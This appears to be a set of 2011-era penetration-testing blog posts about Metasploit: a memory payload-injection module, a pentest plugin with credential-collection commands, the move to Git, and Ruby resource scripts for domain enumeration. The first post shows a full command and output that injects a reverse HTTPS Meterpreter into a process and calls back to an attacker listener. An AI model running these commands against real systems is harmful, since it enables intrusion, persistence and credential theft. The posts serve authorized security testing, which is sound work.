Injecting Payloads Into Memory Meterpreter

Recently at Derbycon 2010 I had a chance to see Egyp7 (James Lee) from the metasploit project do some demos for students of his Metasploit class and I saw he was using the multimeterinject script I wrote to create a secondary shell in case the main one died. I also saw that on 64bit systems it was a pain because it just failed silently, did not gave any warning. On my flight back from the conference I thought that injecting not only a Meterpreter payload could be quite useful, specially when one wishes to have a GUI access on the box but enabling RDP would be to risky one could inject a VNC payload, so I wrote a post module called payload_inject. The module has the capability of:

  • Injecting a Windows Payload in to 32bit and 64bit Processes.
  • Check that both the payload and the process are of the same architecture.
  • Start a temporary process with the appropriate architecture.
  • Be able to provide a flexible option list since different payloads have different options.

So payload_inject was born in a flight from Kentucky to Puerto Rico.

Lets start by looking at the module and it's options from inside a Meterpreter session:

msf  post(persistence) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > info post/windows/manage/payload_inject 

       Name: Windows Manage Memory Payload Injection Module
     Module: post/windows/manage/payload_inject
    Version: 14039
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <carlos_perez@darkoperator.com>

Description:
  This module will inject into the memory of a process a specified 
  windows payload. If a payload or process is not provided one will be 
  created by default using a reverse x86 TCP Meterpreter Payload.




Module options (post/windows/manage/payload_inject):

   Name     Current Setting                  Required  Description
   ----     ---------------                  --------  -----------
   HANDLER  false                            no        Start an Exploit Multi Handler to receive the connection
   LHOST                                     yes       IP of host that will receive the connection from the payload.
   LPORT    4433                             no        Port for Payload to connect to.
   OPTIONS                                   no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD  windows/meterpreter/reverse_tcp  no        Windows Payload to inject into memory of a process.
   PID                                       no        Process Identifier to inject of process to inject payload.   
   SESSION                                   yes       The session to run this module on.

Now that we see that are the options available lets load a reverse HTTPS session in a persistent way in memory as our secondary shell:

meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/meterpreter/reverse_https,LHOST=192.168.1.100,LPORT=3334,HANDLER=true,OPTIONS='SessionCommunicationTimeout=0,SessionExpirationTimeout=0,PID=3384'

[*] Running module against WIN701
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on https://192.168.1.100:3334/
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 3384
[*] Opening process 3384
[*] Generating payload
[*] Allocating memory in process 3384
[*] Allocated memory at address 0x006e0000, for 369 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 3384
meterpreter > 
[*] 192.168.1.138:37854 Request received for /INITM...
[*] 192.168.1.138:37854 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:37854) at 2011-10-28 17:47:46 -0400

One of the things I like about the HTTPS sessions is that I can detach from one and reconnect later to it by just bringing up a listener:

meterpreter > background 
msf  post(persistence) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > detach 

[*] Meterpreter session 7 closed.  Reason: User exit
msf  post(persistence) > 
[*] 192.168.1.138:48859 Request received for /CONN_bPXZiVo1IOWy8xFv/...
[*] Incoming orphaned session CONN_bPXZiVo1IOWy8xFv, reattaching...
[*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:48859) at 2011-10-28 17:55:12 -0400

We can do the same with any Windows compatible payload. I hope you find the module useful.

Metasploit Pentest Plugin Part 1

With the move from Rapid7 to make the framework a repository of modules and have the majority of the automation in the Community and paid versions of metasploit I started several month ago to write a plugin called pentest to cover some of my personal needs and those of friends who have requested them in to a single plugin (Will break in to individual plugins in the future and have master one that will load all) for use from msfconsole.

The main areas I have coded so far in my free time have been:

  • Project - For managing of projects inside workspaces for saving data and exporting data from different tables from the Metasploit database.

  • Post Automation - To automate post exploitation tasks.

  • Discovery - For performing network discovery of hosts and services. (Will add discovery thru pivot in the future.)

The plugin can be found in my Github account https://github.com/darkoperator/Metasploit-Plugins/blob/master/pentest.rb as time passes I will keep adding new features to it as I need them and as friends coerce me in to adding new stuff for them.

Best way to add the plugin to your framework copy is to save it in your metasploit setting folder in your home directory:

mkdir -p ~/.msf4/plugins
cd ~/.msf4/plugins
curl -O https://raw.github.com/darkoperator/Metasploit-Plugins/master/ pentest.rb

Once it is downloaded there any instance of the framework you start will have access to it. To load it is is as simple as using the load command and using the help or ? command to see the additional commands that where added by the plugin:

msf  exploit(handler) > load pentest 
postauto plugin loaded.
[*] Successfully loaded plugin: pentest
msf  exploit(handler) > ?

Discovery Commands
==================

    Command           Description
    -------           -----------
    network_discover  Performs a portscan and enumeration of services found for non pivot networks.


Project Commands
================

    Command       Description
    -------       -----------
    project       Command for managing projects.


Postauto Commands
=================

    Command             Description
    -------             -----------
    app_creds           Run application password collection modules against specified sessions.
    multi_cmd           Run shell command against several sessions
    multi_meter_cmd     Run a Meterpreter Console Command against specified sessions.
    multi_meter_cmd_rc  Run resource file with Meterpreter Console Commands against specified sessions.
    multi_post          Run a post module against specified sessions.
    multi_post_rc       Run resource file with post modules and options against specified sessions.
    sys_creds           Run system password collection modules against specified sessions.

Projects

Many times I find my self experimenting with different datasets as I develop scripts, resource files, modules ..etc and other times I have data of personal clients, I tended to create workspaces inside the framework for this and run several commands and resource scripts to set capture and exporting of data per project, so I added this command to help me manage all of that:

msf  exploit(handler) > project -h

OPTIONS:

    -a         Export all history and DB and archive it in to a zip file for current project.
    -c         Create a new Metasploit project and sets logging for it.
    -d         Delete a project created by the plugin.
    -h         Command Help
    -l         List projects created by plugin.
    -p  <opt>  Path to save archive, if none provide default ~/.msf4/archives will be used.
    -ph        Generate resource files for sessions and console. Generate time stamped session logs for current project.
    -r         Create time stamped RC files of Meterpreter Sessions and console history for current project.
    -s         Switch to a project created by the plugin.

Creating a new project

To create a new project is as simple as:

msf  exploit(handler) > project -c pauldotcom
Creating DB Workspace named pauldotcom
Added workspace: pauldotcom
Spooling to file /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_spool.log...
msf  exploit(handler) >  > project -l
List of projects:
    * pauldotcom
msf  exploit(handler) >  >

As you can see the command created the workspace called pauldotcom and started logging using spool to *~/.msf4/logs/projects/* one can use the -l switch to list them. You might see a extra “>” added when you manipulate projects, this is do to a bug with the spool command that has been open for a while, hope it gets fixed soon.

One of the features I like the most is the ability to create a time stamped resource file that will show all the command I have entered in a session and show the command ran, this can prove quite useful when showing a client what actions where taken and when. Here is an example if I only want to show the commands ran in the console, if we had some meterpreter sessions it would had generated timestamped resource files for those also:

msf  exploit(handler) >  > project -r 
Writing Console RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc
RC file written
List of projects:
    * pauldotcom
msf  exploit(handler) >  > cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc
[*] exec: cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc

# command executed at 2011-12-15 14:06:52 UTC
project -l
# command executed at 2011-12-15 14:38:13 UTC
project -r

If we want a full project history that covers:

  • Timestamped session Commands resource file
  • Timestamped Meterpreter session log of commands and output
  • Timestamped console commands resource file

Then the -ph would have been used:

msf  exploit(handler) >  > project -ph
Writing Console RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.0735.rc
RC file written
Creating RC file for Session 1
Saving RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.rc
RC file written
Exporting Session 1 history
Saving log file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log
Log file written
msf  exploit(handler) >  > cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log
[*] exec: cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log

# Info: uuid: 8chmctur type: meterpreter id: 1 info:  
2011-12-15 15:02:57 UTC
load stdapi
2011-12-15 15:03:00 UTC
load priv
2011-12-15 15:04:24 UTC
run checkvm
2011-12-15 15:04:36 UTC
run post/windows/gather/win_privs
2011-12-15 15:04:56 UTC
run priv
2011-12-15 15:05:08 UTC
background
2011-12-15 15:07:20 UTC
ls
2011-12-15 15:07:21 UTC

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100777/rwxrwxrwx  37888  fil   2010-01-25 18:49:24 -0400  macmet.exe
40777/rwxrwxrwx   0      dir   2010-01-17 08:59:54 -0400  ..
40777/rwxrwxrwx   0      dir   2010-02-20 14:48:26 -0400  .


2011-12-15 15:07:25 UTC
getuid
2011-12-15 15:07:25 UTC
Server username: TESTACCN-X6V582\Administrator
2011-12-15 15:07:28 UTC
sysinfo
2011-12-15 15:07:28 UTC
Computer        : TESTACCN-X6V582
2011-12-15 15:07:28 UTC
OS              : Windows XP (Build 2600).
2011-12-15 15:07:28 UTC
Architecture    : x86
2011-12-15 15:07:28 UTC
System Language : en_US
2011-12-15 15:07:28 UTC
Meterpreter     : x86/win32
2011-12-15 15:07:30 UTC
background

Lets say we finished with a project and are going to share the info with the project manager, other team member or client one can create a single zip file:

  • Spool file of the project
  • Resource files for console and session commands
  • Session history
  • Exported database in xml format

To do this we use the -a command for archiving:

msf  exploit(handler) >  > project -a
Exporting DB Workspace pauldotcom
    >> Starting export of report
    >> Starting export of hosts
    >> Starting export of events
    >> Starting export of services
    >> Starting export of credentials
    >> Starting export of web sites
    >> Starting export of web pages
    >> Starting export of web forms
    >> Starting export of web vulns
    >> Finished export of report
Finished export of workspace pauldotcom to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.xml [ xml ]...
Disabling spooling for pauldotcom
Spooling disabled for archiving
Writing Console RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.rc
RC file written
Creating RC file for Session 1
Saving RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.rc
RC file written
Exporting Session 1 history
Saving log file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.log
Log file written
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.0514.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.0735.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.xml to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3813.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3833.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3840.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0514.log to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0514.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.log to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_spool.log to archive
All files saved to /Users/carlos/.msf4/logs/archives/pauldotcom_20111215.1942.zip
MD5 for archive is 97638701e10d9ca8a4f7684bfc1f5d73
Spooling re-enabled
Spooling to file /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_spool.log...
msf  exploit(handler) >  >  >

Metasploit Changes to Git

Metasploit is changing from using their own SVN server to host their repository to GitHub and by this move to Git as their tool for managing the main repository available to the public for getting access to the Framework source code. This also changes the way commits are done, if any none Rapid7 employee or contractor member of the development team wants to contribute code it will have to be thru GitHub pull request feature. This will allow Rapid7 better control over who commits and the quality of the commits making sure that their commercial products Metasploit Community, Pro and Express do not get affected by a contribution that did not go thru a proper test procedure and quality assurance. In addition the shift from SVN to Git will allow greater flexibility to the Rapid7 team to make modification to the the framework on forks and branches on their own systems allowing them to keep the main repository as stable as possible and changes to be pushed in a less risky manner. This is great business move since it will reduce risk and accelerate development of the base foundation of their products, allowing the team to focus more on the technical an engineering aspects of the projects and less on the over heads of managing code on their machines. In terms of management of community commits the pull requests will centralize the process from Redmine and the emails to msfdev mailing list making it easier for them to get contributions for the Framework. I do have to say I will miss the ability to be able to push my own changes and fixes and will have to rely like everybody else to the fork process and GitHub pull request method like everybody else but in the long run this a better solution for the stability of the code, faster innovation and risk reduction allowing Rapid7 to further advanced the Framework that is base of some of their commercial products. 


 Now this does changes my workflow for the code I write for use in Metasploit. I do have a GitHub account that I used as my temporary account for plugins and modules, I will be consolidating this one in to one single project in GitHub and making sure it follows the folder structure as in the framework so I can just have it in my machine under ~/.msf4 that way I can test modify and test modules and plugins without the need of putting them in the framework folder it self and move them in to the forked version if I wish to contribute them to Rapid7 if not they will still be accessible for sharing under my GitHub page. So there are now 2 new ways to use the framework repository depending on your need, If you are only to consume the code in it and do not wish to contribute your code to Rapid7 you just need to have Git on your system and clone the repository. You first start by installing Git

Installing Git

On OS X you only need to install the latest Xcode Tools from the AppStore On CentOS 6 and latest Fedora Systems you would run as root

yum update
yum install git


On Ubuntu and Debian systems you would run as root

apt-get update
apt-get install git-core

 Cloning the Repository

I’m a person who likes having several copies of the Framework to work in, I tend to keep in my home folder on my boxes a folder call dev where I keep all the project repositories I use. So I recommend you start by creating the folder to host the project and its copies if you later decide to fork and work on coding inside the Framework.

mkdir -p ~/dev
cd ~/dev

 Once the folder is create you only need to clone the Git repository that is on GitHub

git clone git://github.com/rapid7/metasploit-framework.git

Now you should be able to use and work from inside the metasploit-framework folder created there. To keep you copy updated you only need to run from the folder 

git pull

This will fetch the latest changes and merge them together. 

Forking the Project

If you are planning on contributing to the project then it is recommended that you fork the project so you can issue pull request from GitHub. To be able to do this you must first have a GitHub account at http://github.com once you have an account there you can navigate to https://github.com/rapid7/metasploit-framework and from there click on the fork button on the page to create a fork under your account

 

image

Once it has been forked you can now clone it your development system by running the following command in your dev folder, In the example bellow you will see I amed it msf-fork so I can quickly see this is my forked copy 

git clone git@github.com:<your username>/metasploit-framework.git msf-fork

Next I want to be able to update from the main Framework repository so I will set the one managed by Rapid7 as upstream and test updating

git remote add upstream git://github.com/rapid7/metasploit-framework.git
git fetch upstream

 Once you have done several commits to the clone in your machine you can push those to the fork on your GitHub account by doing running the following command

git push origin master

Any time the framework is updated and you want to merge those changes in to your forked copy you would run 

git fetch upstream
git merge upstream/master

 To send a pull request to Rapid7 so as to contribute your code or changes you would follow the GitHub guide that would do a better job than me explaining it in this blog post

http://help.github.com/send-pull-requests/

I also recommend the use of branches so you can have several branches of the fork you have so you can later merge those in to your local clone of the fork and push for latter submitting for pull requests a great guide for this is on Online Git Book http://book.git-scm.com/3_basic_branching_and_merging.html

I hope you find this post useful and look forward to people contributing to the Framework.

Finding Domain Names from Discovery

Many time when performing a penetration test against a Windows environment one of the most critical pieces of information to get is the domain name. As part of my discovery process one of the first things I do inside Metasploit after running a Nmap scan or a TCP Scan thru a pivot is to run the auxiliary module smb_version to get a more accurate finger print of this hosts. As part of the information gathered it gets:

  • OS Type and Name
  • Host Name
  • Domain/Workgroup

Now one of the things I noticed was that Domain and Workgroups where all tagged as domain. The information is saved with the service in the info field of the service, so what I did was parse that string for the machine name and workgroup name and placed those in variables so I can work with those for each service, check that it is not the same as the computer name or the 2 most common workgroup names out there that are MSHOME and WORKGROUP and show the output.

  1: <ruby>
  2: framework.db.workspace.services.find_all_by_state("open").each do |s|
  3:   if s.port == 445 and s.info =~ /windows/i
  4:     name = s.info.scan(/name:(\S*)\)/)[0].join
  5:     domain = s.info.scan(/domain:(\S*)\)/)[0].join
  6:     if ( domain !~ /WORKGROUP|MSHOME/) and (domain != name)
  7:       print_good("Name: #{name} Address: #{s.host.address} Domain: #{domain}")
  8:       print_good("Info: #{s.info}\n")
  9:     end
 10:   end
 11: end
 12: </ruby>

To do all of this I used the the resource file you see above. I first looked at the services saved in my current workspace and looked for all of those with a state of “open” and iterated thru each as seen in line 2 of the code. For each found service with the state of open I checked for the open port of 445 the SMB port and where the smb_version module saves it’s information and checked with a regular expression that the work windows was part of the information. For each one of the services that matched that criteria I extracted the name and domain using regular expressions as seen in lines 4 and 5 and saved those so I could compare then. On line 6 of the code I check that the workgroup does not matches the 2 common ones I mentioned and that the Domain Name is not the same as the computer as it happens on some versions of Windows XP, specially the home edition and print the information.

This is a quick and dirty way to enumerate possible domain names and the hosts in it to perform more specific windows attacks. Hope you found this little excerpt of code useful and servers as an example of how one is able to play with the information inside the database of Metasploit. 

Extending Metasploit Resource Files

Today I saw an email on the Metasploit mailing list asking how one could scan hosts detected by other auxiliary modules and not scanned by Nmap so as to enumerate all services that might have been missed on this hosts. This gave me the excuse to play a bit with ruby inside resources files, something I have not done much of and came up with this little dab of ruby code that could be placed inside a resource file and used to scan al host. The script will actually check the notes for hosts that have any note with a type that starts with host.nmap and add the Host ID to an array, I use the uniq! method to remove any duplicates then go thru the entire list of host in the database and check if there ID is on the list of hosts already scanned by Nmap, if they are not then I run an Nmap scan against them. Do not know if you guys might find this useful but I will definitely keep it inside a resource file for those cases when I need to make sure I’m not missing anything in an internal assessment. Here is the code for it